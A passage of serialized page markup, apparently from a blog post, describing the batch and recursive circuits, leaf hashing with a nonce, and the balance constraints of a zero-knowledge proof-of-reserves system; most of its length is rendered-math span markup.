Circuits",{"type":21,"tag":22,"props":93325,"children":93326},{},[93327],{"type":26,"value":93328},"We use two different ZK circuits to generate the final proof:",{"type":21,"tag":841,"props":93330,"children":93331},{},[93332,93337],{"type":21,"tag":845,"props":93333,"children":93334},{},[93335],{"type":26,"value":93336},"Batch circuit",{"type":21,"tag":845,"props":93338,"children":93339},{},[93340],{"type":26,"value":93341},"Recursive circuit",{"type":21,"tag":22,"props":93343,"children":93344},{},[93345],{"type":26,"value":93346},"With those two circuits, we can generate the proofs recursive tree:",{"type":21,"tag":22,"props":93348,"children":93349},{},[93350],{"type":21,"tag":4681,"props":93351,"children":93353},{"alt":51034,"src":93352},"/posts/por/batch-circuit.png",[],{"type":21,"tag":3712,"props":93355,"children":93356},{},[93357],{"type":21,"tag":22,"props":93358,"children":93359},{},[93360,93362,93368,93370,93376],{"type":26,"value":93361},"Note: We are using 512 as ",{"type":21,"tag":66,"props":93363,"children":93365},{"className":93364},[],[93366],{"type":26,"value":93367},"BATCH_SIZE",{"type":26,"value":93369}," and 8 as ",{"type":21,"tag":66,"props":93371,"children":93373},{"className":93372},[],[93374],{"type":26,"value":93375},"RECURSIVE_SIZE",{"type":26,"value":93377}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":21,"tag":3712,"props":93379,"children":93380},{},[93381],{"type":21,"tag":22,"props":93382,"children":93383},{},[93384],{"type":26,"value":93385},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":21,"tag":22,"props":93387,"children":93388},{},[93389],{"type":26,"value":93390},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":21,"tag":10022,"props":93392,"children":93394},{"id":93393},"leaf-nodes",[93395],{"type":26,"value":93396},"Leaf Nodes",{"type":21,"tag":22,"props":93398,"children":93399},{},[93400],{"type":26,"value":93401},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":21,"tag":22,"props":93403,"children":93404},{},[93405],{"type":21,"tag":66,"props":93406,"children":93408},{"className":93407},[4748,4749],[93409],{"type":21,"tag":85,"props":93410,"children":93412},{"className":93411},[4754],[93413],{"type":21,"tag":85,"props":93414,"children":93416},{"className":93415,"ariaHidden":4760},[4759],[93417,93444],{"type":21,"tag":85,"props":93418,"children":93420},{"className":93419},[4765],[93421,93426,93431,93435,93440],{"type":21,"tag":85,"props":93422,"children":93425},{"className":93423,"style":93424},[4770],"height:0.6944em;",[],{"type":21,"tag":85,"props":93427,"children":93429},{"className":93428},[4776,22016],[93430],{"type":26,"value":84807},{"type":21,"tag":85,"props":93432,"children":93434},{"className":93433,"style":4955},[4857],[],{"type":21,"tag":85,"props":93436,"children":93438},{"className":93437},[4960],[93439],{"type":26,"value":741},{"type":21,"tag":85,"props":93441,"children":93443},{"className":93442,"style":4955},[4857],[],{"type":21,"tag":85,"props":93445,"children":93447},{"className":93446},[4765],[93448,93453,93458,93464,93469,93474,93480,93485,93490,93495,93501,93506,93512,93518,93525,93531,93537,93597,93602,93608,93613,93618,93623,93628,93633,93638,93643,93648,93653,93710,93715,93720,93725,93730,93735,93740,93747,93752,93758,93763,93769,93775,93780,93785,93790,93795,93800,93805,93810,93815,93820,93825,93830,93835,93840,93845],{"type":21,"tag":85,"props":93449,"children":93452},{"className":93450,"style":93451},[4770],"height:1.06em;vertical-align:-0.31em;",[],{"type":21,"tag":85,"props":93454,"children":93456},{"className":93455,"style":22017},[4776,22016],[93457],{"type":26,"value":22020},{"type":21,"tag":85,"props":93459,"children":93461},{"className":93460},[4776,22016],[93462],{"type":26,"value":93463},"ose",{"type":21,"tag":85,"props":93465,"children":93467},{"className":93466},[4776,22016],[93468],{"type":26,"value":3003},{"type":21,"tag":85,"props":93470,"children":93472},{"className":93471},[4776,22016],[93473],{"type":26,"value":71024},{"type":21,"tag":85,"props":93475,"children":93477},{"className":93476},[4776,22016],[93478],{"type":26,"value":93479},"o",{"type":21,"tag":85,"props":93481,"children":93483},{"className":93482},[4776,22016],[93484],{"type":26,"value":56860},{"type":21,"tag":85,"props":93486,"children":93488},{"className":93487},[22145],[93489],{"type":26,"value":1439},{"type":21,"tag":85,"props":93491,"children":93493},{"className":93492},[4776,22016],[93494],{"type":26,"value":335},{"type":21,"tag":85,"props":93496,"children":93498},{"className":93497},[4776,22016],[93499],{"type":26,"value":93500},"sse",{"type":21,"tag":85,"props":93502,"children":93504},{"className":93503},[4776,22016],[93505],{"type":26,"value":22158},{"type":21,"tag":85,"props":93507,"children":93510},{"className":93508,"style":93509},[4776],"margin-right:0.02778em;",[93511],{"type":26,"value":3856},{"type":21,"tag":85,"props":93513,"children":93515},{"className":93514},[4776,22016],[93516],{"type":26,"value":93517},"ba",{"type":21,"tag":85,"props":93519,"children":93522},{"className":93520,"style":93521},[4776,22016],"margin-right:0.01968em;",[93523],{"type":26,"value":93524},"l",{"type":21,"tag":85,"props":93526,"children":93528},{"className":93527},[4776,22016],[93529],{"type":26,"value":93530},"an",{"type":21,"tag":85,"props":93532,"children":93534},{"className":93533},[4776,22016],[93535],{"type":26,"value":93536},"ce",{"type":21,"tag":85,"props":93538,"children":93540},{"className":93539},[4776],[93541,93546],{"type":21,"tag":85,"props":93542,"children":93544},{"className":93543},[4776,22016],[93545],{"type":26,"value":11067},{"type":21,"tag":85,"props":93547,"children":93549},{"className":93548},[4793],[93550],{"type":21,"tag":85,"props":93551,"children":93553},{"className":93552},[4798,22070],[93554,93585],{"type":21,"tag":85,"props":93555,"children":93557},{"className":93556},[4803],[93558,93580],{"type":21,"tag":85,"props":93559,"children":93562},{"className":93560,"style":93561},[4808],"height:0.3011em;",[93563],{"type":21,"tag":85,"props":93564,"children":93566},{"style":93565},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[93567,93571],{"type":21,"tag":85,"props":93568,"children":93570},{"className":93569,"style":4818},[4817],[],{"type":21,"tag":85,"props":93572,"children":93574},{"className":93573},[4823,4824,4825,4826],[93575],{"type":21,"tag":85,"props":93576,"children":93578},{"className":93577},[4776,4826],[93579],{"type":26,"value":4789},{"type":21,"tag":85,"props":93581,"children":93583},{"className":93582},[22173],[93584],{"type":26,"value":22176},{"type":21,"tag":85,"props":93586,"children":93588},{"className":93587},[4803],[93589],{"type":21,"tag":85,"props":93590,"children":93593},{"className":93591,"style":93592},[4808],"height:0.15em;",[93594],{"type":21,"tag":85,"props":93595,"children":93596},{},[],{"type":21,"tag":85,"props":93598,"children":93600},{"className":93599},[4857],[93601],{"type":26,"value":22117},{"type":21,"tag":85,"props":93603,"children":93605},{"className":93604},[4776],[93606],{"type":26,"value":93607},"∣∣",{"type":21,"tag":85,"props":93609,"children":93611},{"className":93610},[4857],[93612],{"type":26,"value":22117},{"type":21,"tag":85,"props":93614,"children":93616},{"className":93615},[4776,22016],[93617],{"type":26,"value":335},{"type":21,"tag":85,"props":93619,"children":93621},{"className":93620},[4776,22016],[93622],{"type":26,"value":93500},{"type":21,"tag":85,"props":93624,"children":93626},{"className":93625},[4776,22016],[93627],{"type":26,"value":22158},{"type":21,"tag":85,"props":93629,"children":93631},{"className":93630,"style":93509},[4776],[93632],{"type":26,"value":3856},{"type":21,"tag":85,"props":93634,"children":93636},{"className":93635},[4776,22016],[93637],{"type":26,"value":93517},{"type":21,"tag":85,"props":93639,"children":93641},{"className":93640,"style":93521},[4776,22016],[93642],{"type":26,"value":93524},{"type":21,"tag":85,"props":93644,"children":93646},{"className":93645},[4776,22016],[93647],{"type":26,"value":93530},{"type":21,"tag":85,"props":93649,"children":93651},{"className":93650},[4776,22016],[93652],{"type":26,"value":93536},{"type":21,"tag":85,"props":93654,"children":93656},{"className":93655},[4776],[93657,93662],{"type":21,"tag":85,"props":93658,"children":93660},{"className":93659},[4776,22016],[93661],{"type":26,"value":11067},{"type":21,"tag":85,"props":93663,"children":93665},{"className":93664},[4793],[93666],{"type":21,"tag":85,"props":93667,"children":93669},{"className":93668},[4798,22070],[93670,93699],{"type":21,"tag":85,"props":93671,"children":93673},{"className":93672},[4803],[93674,93694],{"type":21,"tag":85,"props":93675,"children":93677},{"className":93676,"style":93561},[4808],[93678],{"type":21,"tag":85,"props":93679,"children":93680},{"style":93565},[93681,93685],{"type":21,"tag":85,"props":93682,"children":93684},{"className":93683,"style":4818},[4817],[],{"type":21,"tag":85,"props":93686,"children":93688},{"className":93687},[4823,4824,4825,4826],[93689],{"type":21,"tag":85,"props":93690,"children":93692},{"className":93691},[4776,4826],[93693],{"type":26,"value":4779},{"type":21,"tag":85,"props":93695,"children":93697},{"className":93696},[22173],[93698],{"type":26,"value":22176},{"type":21,"tag":85,"props":93700,"children":93702},{"className":93701},[4803],[93703],{"type":21,"tag":85,"props":93704,"children":93706},{"className":93705,"style":93592},[4808],[93707],{"type":21,"tag":85,"props":93708,"children":93709},{},[],{"type":21,"tag":85,"props":93711,"children":93713},{"className":93712},[4857],[93714],{"type":26,"value":22117},{"type":21,"tag":85,"props":93716,"children":93718},{"className":93717},[4776],[93719],{"type":26,"value":10004},{"type":21,"tag":85,"props":93721,"children":93723},{"className":93722},[4857],[93724],{"type":26,"value":22117},{"type":21,"tag":85,"props":93726,"children":93728},{"className":93727},[4776],[93729],{"type":26,"value":93607},{"type":21,"tag":85,"props":93731,"children":93733},{"className":93732},[4857],[93734],{"type":26,"value":22117},{"type":21,"tag":85,"props":93736,"children":93738},{"className":93737,"style":22475},[4776,22016],[93739],{"type":26,"value":22478},{"type":21,"tag":85,"props":93741,"children":93744},{"className":93742,"style":93743},[4776,22016],"margin-right:0.08125em;",[93745],{"type":26,"value":93746},"H",{"type":21,"tag":85,"props":93748,"children":93750},{"className":93749},[4776,22016],[93751],{"type":26,"value":77229},{"type":21,"tag":85,"props":93753,"children":93755},{"className":93754},[4776],[93756],{"type":26,"value":93757},"256",{"type":21,"tag":85,"props":93759,"children":93761},{"className":93760},[22145],[93762],{"type":26,"value":1439},{"type":21,"tag":85,"props":93764,"children":93766},{"className":93765},[4776,22016],[93767],{"type":26,"value":93768},"u",{"type":21,"tag":85,"props":93770,"children":93772},{"className":93771,"style":93509},[4776,22016],[93773],{"type":26,"value":93774},"ser",{"type":21,"tag":85,"props":93776,"children":93778},{"className":93777,"style":93509},[4776],[93779],{"type":26,"value":3856},{"type":21,"tag":85,"props":93781,"children":93783},{"className":93782},[4776,22016],[93784],{"type":26,"value":3003},{"type":21,"tag":85,"props":93786,"children":93788},{"className":93787},[4776,22016],[93789],{"type":26,"value":71024},{"type":21,"tag":85,"props":93791,"children":93793},{"className":93792},[22167],[93794],{"type":26,"value":1900},{"type":21,"tag":85,"props":93796,"children":93798},{"className":93797},[4857],[93799],{"type":26,"value":22117},{"type":21,"tag":85,"props":93801,"children":93803},{"className":93802},[4776],[93804],{"type":26,"value":93607},{"type":21,"tag":85,"props":93806,"children":93808},{"className":93807},[4857],[93809],{"type":26,"value":22117},{"type":21,"tag":85,"props":93811,"children":93813},{"className":93812},[4776,22016],[93814],{"type":26,"value":93768},{"type":21,"tag":85,"props":93816,"children":93818},{"className":93817,"style":93509},[4776,22016],[93819],{"type":26,"value":93774},{"type":21,"tag":85,"props":93821,"children":93823},{"className":93822,"style":93509},[4776],[93824],{"type":26,"value":3856},{"type":21,"tag":85,"props":93826,"children":93828},{"className":93827},[4776,22016],[93829],{"type":26,"value":56860},{"type":21,"tag":85,"props":93831,"children":93833},{"className":93832},[4776,22016],[93834],{"type":26,"value":93479},{"type":21,"tag":85,"props":93836,"children":93838},{"className":93837},[4776,22016],[93839],{"type":26,"value":56860},{"type":21,"tag":85,"props":93841,"children":93843},{"className":93842},[4776,22016],[93844],{"type":26,"value":93536},{"type":21,"tag":85,"props":93846,"children":93848},{"className":93847},[22167],[93849],{"type":26,"value":1900},{"type":21,"tag":22,"props":93851,"children":93852},{},[93853,93855,93861],{"type":26,"value":93854},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":21,"tag":66,"props":93856,"children":93858},{"className":93857},[],[93859],{"type":26,"value":93860},"uuid",{"type":26,"value":93862},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":21,"tag":10022,"props":93864,"children":93866},{"id":93865},"batch-circuit",[93867],{"type":26,"value":93868},"Batch Circuit",{"type":21,"tag":22,"props":93870,"children":93871},{},[93872],{"type":26,"value":93873},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":21,"tag":22,"props":93875,"children":93876},{},[93877],{"type":21,"tag":873,"props":93878,"children":93879},{},[93880],{"type":26,"value":93881},"Public Inputs",{"type":21,"tag":17108,"props":93883,"children":93884},{},[93885,93890,93895],{"type":21,"tag":845,"props":93886,"children":93887},{},[93888],{"type":26,"value":93889},"Asset prices in USD",{"type":21,"tag":845,"props":93891,"children":93892},{},[93893],{"type":26,"value":93894},"Merkle tree hash",{"type":21,"tag":845,"props":93896,"children":93897},{},[93898],{"type":26,"value":93899},"Summed asset balances",{"type":21,"tag":22,"props":93901,"children":93902},{},[93903],{"type":21,"tag":873,"props":93904,"children":93905},{},[93906],{"type":26,"value":93907},"Private Inputs",{"type":21,"tag":17108,"props":93909,"children":93910},{},[93911,93916],{"type":21,"tag":845,"props":93912,"children":93913},{},[93914],{"type":26,"value":93915},"Users balances",{"type":21,"tag":845,"props":93917,"children":93918},{},[93919],{"type":26,"value":93920},"Merkle tree leaves hashes",{"type":21,"tag":22,"props":93922,"children":93923},{},[93924],{"type":21,"tag":873,"props":93925,"children":93926},{},[93927],{"type":26,"value":93928},"Constraints",{"type":21,"tag":17108,"props":93930,"children":93931},{},[93932,94385,94553,94900,95298],{"type":21,"tag":845,"props":93933,"children":93934},{},[93935],{"type":21,"tag":66,"props":93936,"children":93938},{"className":93937},[4748,4749],[93939],{"type":21,"tag":85,"props":93940,"children":93942},{"className":93941},[4754],[93943],{"type":21,"tag":85,"props":93944,"children":93946},{"className":93945,"ariaHidden":4760},[4759],[93947,94086,94290],{"type":21,"tag":85,"props":93948,"children":93950},{"className":93949},[4765],[93951,93956,93961,93967,93972,93977,93982,93987,93992,93999,94004,94009,94014,94073,94077,94082],{"type":21,"tag":85,"props":93952,"children":93955},{"className":93953,"style":93954},[4770],"height:0.9695em;vertical-align:-0.31em;",[],{"type":21,"tag":85,"props":93957,"children":93959},{"className":93958},[4776,22016],[93960],{"type":26,"value":335},{"type":21,"tag":85,"props":93962,"children":93964},{"className":93963},[4776,22016],[93965],{"type":26,"value":93966},"cco",{"type":21,"tag":85,"props":93968,"children":93970},{"className":93969},[4776,22016],[93971],{"type":26,"value":93768},{"type":21,"tag":85,"props":93973,"children":93975},{"className":93974},[4776,22016],[93976],{"type":26,"value":56860},{"type":21,"tag":85,"props":93978,"children":93980},{"className":93979},[4776,22016],[93981],{"type":26,"value":22158},{"type":21,"tag":85,"props":93983,"children":93985},{"className":93984,"style":93509},[4776],[93986],{"type":26,"value":3856},{"type":21,"tag":85,"props":93988,"children":93990},{"className":93989},[4776,22016],[93991],{"type":26,"value":51910},{"type":21,"tag":85,"props":93993,"children":93996},{"className":93994,"style":93995},[4776,22016],"margin-right:0.03588em;",[93997],{"type":26,"value":93998},"q",{"type":21,"tag":85,"props":94000,"children":94002},{"className":94001},[4776,22016],[94003],{"type":26,"value":93768},{"type":21,"tag":85,"props":94005,"children":94007},{"className":94006},[4776,22016],[94008],{"type":26,"value":3003},{"type":21,"tag":85,"props":94010,"children":94012},{"className":94011},[4776,22016],[94013],{"type":26,"value":22158},{"type":21,"tag":85,"props":94015,"children":94017},{"className":94016},[4776],[94018,94023],{"type":21,"tag":85,"props":94019,"children":94021},{"className":94020,"style":93995},[4776,22016],[94022],{"type":26,"value":3886},{"type":21,"tag":85,"props":94024,"children":94026},{"className":94025},[4793],[94027],{"type":21,"tag":85,"props":94028,"children":94030},{"className":94029},[4798,22070],[94031,94062],{"type":21,"tag":85,"props":94032,"children":94034},{"className":94033},[4803],[94035,94057],{"type":21,"tag":85,"props":94036,"children":94039},{"className":94037,"style":94038},[4808],"height:0.3117em;",[94040],{"type":21,"tag":85,"props":94041,"children":94043},{"style":94042},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[94044,94048],{"type":21,"tag":85,"props":94045,"children":94047},{"className":94046,"style":4818},[4817],[],{"type":21,"tag":85,"props":94049,"children":94051},{"className":94050},[4823,4824,4825,4826],[94052],{"type":21,"tag":85,"props":94053,"children":94055},{"className":94054},[4776,22016,4826],[94056],{"type":26,"value":3003},{"type":21,"tag":85,"props":94058,"children":94060},{"className":94059},[22173],[94061],{"type":26,"value":22176},{"type":21,"tag":85,"props":94063,"children":94065},{"className":94064},[4803],[94066],{"type":21,"tag":85,"props":94067,"children":94069},{"className":94068,"style":93592},[4808],[94070],{"type":21,"tag":85,"props":94071,"children":94072},{},[],{"type":21,"tag":85,"props":94074,"children":94076},{"className":94075,"style":4955},[4857],[],{"type":21,"tag":85,"props":94078,"children":94080},{"className":94079},[4960],[94081],{"type":26,"value":2936},{"type":21,"tag":85,"props":94083,"children":94085},{"className":94084,"style":4955},[4857],[],{"type":21,"tag":85,"props":94087,"children":94089},{"className":94088},[4765],[94090,94094,94100,94105,94110,94115,94120,94125,94130,94135,94140,94145,94150,94155,94160,94165,94170,94175,94232,94237,94242,94247,94252,94257,94262,94267,94272,94277,94281,94286],{"type":21,"tag":85,"props":94091,"children":94093},{"className":94092,"style":93451},[4770],[],{"type":21,"tag":85,"props":94095,"children":94097},{"className":94096},[4776],[94098],{"type":26,"value":94099},"Σ",{"type":21,"tag":85,"props":94101,"children":94103},{"className":94102},[4857],[94104],{"type":26,"value":22117},{"type":21,"tag":85,"props":94106,"children":94108},{"className":94107},[4776,22016],[94109],{"type":26,"value":335},{"type":21,"tag":85,"props":94111,"children":94113},{"className":94112},[4776,22016],[94114],{"type":26,"value":93966},{"type":21,"tag":85,"props":94116,"children":94118},{"className":94117},[4776,22016],[94119],{"type":26,"value":93768},{"type":21,"tag":85,"props":94121,"children":94123},{"className":94122},[4776,22016],[94124],{"type":26,"value":56860},{"type":21,"tag":85,"props":94126,"children":94128},{"className":94127},[4776,22016],[94129],{"type":26,"value":22158},{"type":21,"tag":85,"props":94131,"children":94133},{"className":94132,"style":93509},[4776],[94134],{"type":26,"value":3856},{"type":21,"tag":85,"props":94136,"children":94138},{"className":94137},[4776,22016],[94139],{"type":26,"value":335},{"type":21,"tag":85,"props":94141,"children":94143},{"className":94142},[4776,22016],[94144],{"type":26,"value":93500},{"type":21,"tag":85,"props":94146,"children":94148},{"className":94147},[4776,22016],[94149],{"type":26,"value":22158},{"type":21,"tag":85,"props":94151,"children":94153},{"className":94152,"style":93509},[4776],[94154],{"type":26,"value":3856},{"type":21,"tag":85,"props":94156,"children":94158},{"className":94157},[4776,22016],[94159],{"type":26,"value":93517},{"type":21,"tag":85,"props":94161,"children":94163},{"className":94162,"style":93521},[4776,22016],[94164],{"type":26,"value":93524},{"type":21,"tag":85,"props":94166,"children":94168},{"className":94167},[4776,22016],[94169],{"type":26,"value":93530},{"type":21,"tag":85,"props":94171,"children":94173},{"className":94172},[4776,22016],[94174],{"type":26,"value":93536},{"type":21,"tag":85,"props":94176,"children":94178},{"className":94177},[4776],[94179,94184],{"type":21,"tag":85,"props":94180,"children":94182},{"className":94181},[4776,22016],[94183],{"type":26,"value":11067},{"type":21,"tag":85,"props":94185,"children":94187},{"className":94186},[4793],[94188],{"type":21,"tag":85,"props":94189,"children":94191},{"className":94190},[4798,22070],[94192,94221],{"type":21,"tag":85,"props":94193,"children":94195},{"className":94194},[4803],[94196,94216],{"type":21,"tag":85,"props":94197,"children":94199},{"className":94198,"style":94038},[4808],[94200],{"type":21,"tag":85,"props":94201,"children":94202},{"style":93565},[94203,94207],{"type":21,"tag":85,"props":94204,"children":94206},{"className":94205,"style":4818},[4817],[],{"type":21,"tag":85,"props":94208,"children":94210},{"className":94209},[4823,4824,4825,4826],[94211],{"type":21,"tag":85,"props":94212,"children":94214},{"className":94213},[4776,22016,4826],[94215],{"type":26,"value":3003},{"type":21,"tag":85,"props":94217,"children":94219},{"className":94218},[22173],[94220],{"type":26,"value":22176},{"type":21,"tag":85,"props":94222,"children":94224},{"className":94223},[4803],[94225],{"type":21,"tag":85,"props":94226,"children":94228},{"className":94227,"style":93592},[4808],[94229],{"type":21,"tag":85,"props":94230,"children":94231},{},[],{"type":21,"tag":85,"props":94233,"children":94235},{"className":94234},[22145],[94236],{"type":26,"value":3016},{"type":21,"tag":85,"props":94238,"children":94240},{"className":94239},[4776,22016],[94241],{"type":26,"value":335},{"type":21,"tag":85,"props":94243,"children":94245},{"className":94244},[4776,22016],[94246],{"type":26,"value":93500},{"type":21,"tag":85,"props":94248,"children":94250},{"className":94249},[4776,22016],[94251],{"type":26,"value":22158},{"type":21,"tag":85,"props":94253,"children":94255},{"className":94254,"style":93509},[4776],[94256],{"type":26,"value":3856},{"type":21,"tag":85,"props":94258,"children":94260},{"className":94259},[4776,22016],[94261],{"type":26,"value":56860},{"type":21,"tag":85,"props":94263,"children":94265},{"className":94264},[4776,22016],[94266],{"type":26,"value":93768},{"type":21,"tag":85,"props":94268,"children":94270},{"className":94269},[4776,22016],[94271],{"type":26,"value":51589},{"type":21,"tag":85,"props":94273,"children":94275},{"className":94274},[22167],[94276],{"type":26,"value":15830},{"type":21,"tag":85,"props":94278,"children":94280},{"className":94279,"style":4858},[4857],[],{"type":21,"tag":85,"props":94282,"children":94284},{"className":94283},[4863],[94285],{"type":26,"value":4866},{"type":21,"tag":85,"props":94287,"children":94289},{"className":94288,"style":4858},[4857],[],{"type":21,"tag":85,"props":94291,"children":94293},{"className":94292},[4765],[94294,94298,94303,94308,94313,94318,94323,94329,94334,94340,94345,94350,94355,94360,94365,94370,94375,94380],{"type":21,"tag":85,"props":94295,"children":94297},{"className":94296,"style":93451},[4770],[],{"type":21,"tag":85,"props":94299,"children":94301},{"className":94300},[4776,22016],[94302],{"type":26,"value":335},{"type":21,"tag":85,"props":94304,"children":94306},{"className":94305},[4776,22016],[94307],{"type":26,"value":93500},{"type":21,"tag":85,"props":94309,"children":94311},{"className":94310},[4776,22016],[94312],{"type":26,"value":22158},{"type":21,"tag":85,"props":94314,"children":94316},{"className":94315,"style":93509},[4776],[94317],{"type":26,"value":3856},{"type":21,"tag":85,"props":94319,"children":94321},{"className":94320},[4776,22016],[94322],{"type":26,"value":22},{"type":21,"tag":85,"props":94324,"children":94326},{"className":94325,"style":93509},[4776,22016],[94327],{"type":26,"value":94328},"r",{"type":21,"tag":85,"props":94330,"children":94332},{"className":94331},[4776,22016],[94333],{"type":26,"value":3003},{"type":21,"tag":85,"props":94335,"children":94337},{"className":94336},[4776,22016],[94338],{"type":26,"value":94339},"ces",{"type":21,"tag":85,"props":94341,"children":94343},{"className":94342},[22145],[94344],{"type":26,"value":3016},{"type":21,"tag":85,"props":94346,"children":94348},{"className":94347},[4776,22016],[94349],{"type":26,"value":335},{"type":21,"tag":85,"props":94351,"children":94353},{"className":94352},[4776,22016],[94354],{"type":26,"value":93500},{"type":21,"tag":85,"props":94356,"children":94358},{"className":94357},[4776,22016],[94359],{"type":26,"value":22158},{"type":21,"tag":85,"props":94361,"children":94363},{"className":94362,"style":93509},[4776],[94364],{"type":26,"value":3856},{"type":21,"tag":85,"props":94366,"children":94368},{"className":94367},[4776,22016],[94369],{"type":26,"value":56860},{"type":21,"tag":85,"props":94371,"children":94373},{"className":94372},[4776,22016],[94374],{"type":26,"value":93768},{"type":21,"tag":85,"props":94376,"children":94378},{"className":94377},[4776,22016],[94379],{"type":26,"value":51589},{"type":21,"tag":85,"props":94381,"children":94383},{"className":94382},[22167],[94384],{"type":26,"value":15830},{"type":21,"tag":845,"props":94386,"children":94387},{},[94388,94547,94548],{"type":21,"tag":66,"props":94389,"children":94391},{"className":94390},[4748,4749],[94392],{"type":21,"tag":85,"props":94393,"children":94395},{"className":94394},[4754],[94396],{"type":21,"tag":85,"props":94397,"children":94399},{"className":94398,"ariaHidden":4760},[4759],[94400,94533],{"type":21,"tag":85,"props":94401,"children":94403},{"className":94402},[4765],[94404,94408,94413,94418,94423,94428,94433,94438,94443,94448,94453,94458,94463,94520,94524,94529],{"type":21,"tag":85,"props":94405,"children":94407},{"className":94406,"style":93954},[4770],[],{"type":21,"tag":85,"props":94409,"children":94411},{"className":94410},[4776,22016],[94412],{"type":26,"value":335},{"type":21,"tag":85,"props":94414,"children":94416},{"className":94415},[4776,22016],[94417],{"type":26,"value":93966},{"type":21,"tag":85,"props":94419,"children":94421},{"className":94420},[4776,22016],[94422],{"type":26,"value":93768},{"type":21,"tag":85,"props":94424,"children":94426},{"className":94425},[4776,22016],[94427],{"type":26,"value":56860},{"type":21,"tag":85,"props":94429,"children":94431},{"className":94430},[4776,22016],[94432],{"type":26,"value":22158},{"type":21,"tag":85,"props":94434,"children":94436},{"className":94435,"style":93509},[4776],[94437],{"type":26,"value":3856},{"type":21,"tag":85,"props":94439,"children":94441},{"className":94440},[4776,22016],[94442],{"type":26,"value":51910},{"type":21,"tag":85,"props":94444,"children":94446},{"className":94445,"style":93995},[4776,22016],[94447],{"type":26,"value":93998},{"type":21,"tag":85,"props":94449,"children":94451},{"className":94450},[4776,22016],[94452],{"type":26,"value":93768},{"type":21,"tag":85,"props":94454,"children":94456},{"className":94455},[4776,22016],[94457],{"type":26,"value":3003},{"type":21,"tag":85,"props":94459,"children":94461},{"className":94460},[4776,22016],[94462],{"type":26,"value":22158},{"type":21,"tag":85,"props":94464,"children":94466},{"className":94465},[4776],[94467,94472],{"type":21,"tag":85,"props":94468,"children":94470},{"className":94469,"style":93995},[4776,22016],[94471],{"type":26,"value":3886},{"type":21,"tag":85,"props":94473,"children":94475},{"className":94474},[4793],[94476],{"type":21,"tag":85,"props":94477,"children":94479},{"className":94478},[4798,22070],[94480,94509],{"type":21,"tag":85,"props":94481,"children":94483},{"className":94482},[4803],[94484,94504],{"type":21,"tag":85,"props":94485,"children":94487},{"className":94486,"style":94038},[4808],[94488],{"type":21,"tag":85,"props":94489,"children":94490},{"style":94042},[94491,94495],{"type":21,"tag":85,"props":94492,"children":94494},{"className":94493,"style":4818},[4817],[],{"type":21,"tag":85,"props":94496,"children":94498},{"className":94497},[4823,4824,4825,4826],[94499],{"type":21,"tag":85,"props":94500,"children":94502},{"className":94501},[4776,22016,4826],[94503],{"type":26,"value":3003},{"type":21,"tag":85,"props":94505,"children":94507},{"className":94506},[22173],[94508],{"type":26,"value":22176},{"type":21,"tag":85,"props":94510,"children":94512},{"className":94511},[4803],[94513],{"type":21,"tag":85,"props":94514,"children":94516},{"className":94515,"style":93592},[4808],[94517],{"type":21,"tag":85,"props":94518,"children":94519},{},[],{"type":21,"tag":85,"props":94521,"children":94523},{"className":94522,"style":4955},[4857],[],{"type":21,"tag":85,"props":94525,"children":94527},{"className":94526},[4960],[94528],{"type":26,"value":10358},{"type":21,"tag":85,"props":94530,"children":94532},{"className":94531,"style":4955},[4857],[],{"type":21,"tag":85,"props":94534,"children":94536},{"className":94535},[4765],[94537,94542],{"type":21,"tag":85,"props":94538,"children":94541},{"className":94539,"style":94540},[4770],"height:0.6444em;",[],{"type":21,"tag":85,"props":94543,"children":94545},{"className":94544},[4776],[94546],{"type":26,"value":4789},{"type":26,"value":790},{"type":21,"tag":873,"props":94549,"children":94550},{},[94551],{"type":26,"value":94552},"(non-negativity)",{"type":21,"tag":845,"props":94554,"children":94555},{},[94556,94894,94895],{"type":21,"tag":66,"props":94557,"children":94559},{"className":94558},[4748,4749],[94560],{"type":21,"tag":85,"props":94561,"children":94563},{"className":94562},[4754],[94564],{"type":21,"tag":85,"props":94565,"children":94567},{"className":94566,"ariaHidden":4760},[4759],[94568,94704],{"type":21,"tag":85,"props":94569,"children":94571},{"className":94570},[4765],[94572,94576,94581,94586,94591,94596,94601,94606,94611,94616,94621,94626,94631,94636,94641,94646,94651,94656,94661,94666,94671,94676,94681,94686,94691,94695,94700],{"type":21,"tag":85,"props":94573,"children":94575},{"className":94574,"style":93451},[4770],[],{"type":21,"tag":85,"props":94577,"children":94579},{"className":94578},[4776,22016],[94580],{"type":26,"value":22158},{"type":21,"tag":85,"props":94582,"children":94584},{"className":94583},[4776,22016],[94585],{"type":26,"value":93479},{"type":21,"tag":85,"props":94587,"children":94589},{"className":94588},[4776,22016],[94590],{"type":26,"value":22158},{"type":21,"tag":85,"props":94592,"children":94594},{"className":94593},[4776,22016],[94595],{"type":26,"value":335},{"type":21,"tag":85,"props":94597,"children":94599},{"className":94598,"style":93521},[4776,22016],[94600],{"type":26,"value":93524},{"type":21,"tag":85,"props":94602,"children":94604},{"className":94603,"style":93509},[4776],[94605],{"type":26,"value":3856},{"type":21,"tag":85,"props":94607,"children":94609},{"className":94608},[4776,22016],[94610],{"type":26,"value":335},{"type":21,"tag":85,"props":94612,"children":94614},{"className":94613},[4776,22016],[94615],{"type":26,"value":93500},{"type":21,"tag":85,"props":94617,"children":94619},{"className":94618},[4776,22016],[94620],{"type":26,"value":22158},{"type":21,"tag":85,"props":94622,"children":94624},{"className":94623,"style":93509},[4776],[94625],{"type":26,"value":3856},{"type":21,"tag":85,"props":94627,"children":94629},{"className":94628},[4776,22016],[94630],{"type":26,"value":93517},{"type":21,"tag":85,"props":94632,"children":94634},{"className":94633,"style":93521},[4776,22016],[94635],{"type":26,"value":93524},{"type":21,"tag":85,"props":94637,"children":94639},{"className":94638},[4776,22016],[94640],{"type":26,"value":93530},{"type":21,"tag":85,"props":94642,"children":94644},{"className":94643},[4776,22016],[94645],{"type":26,"v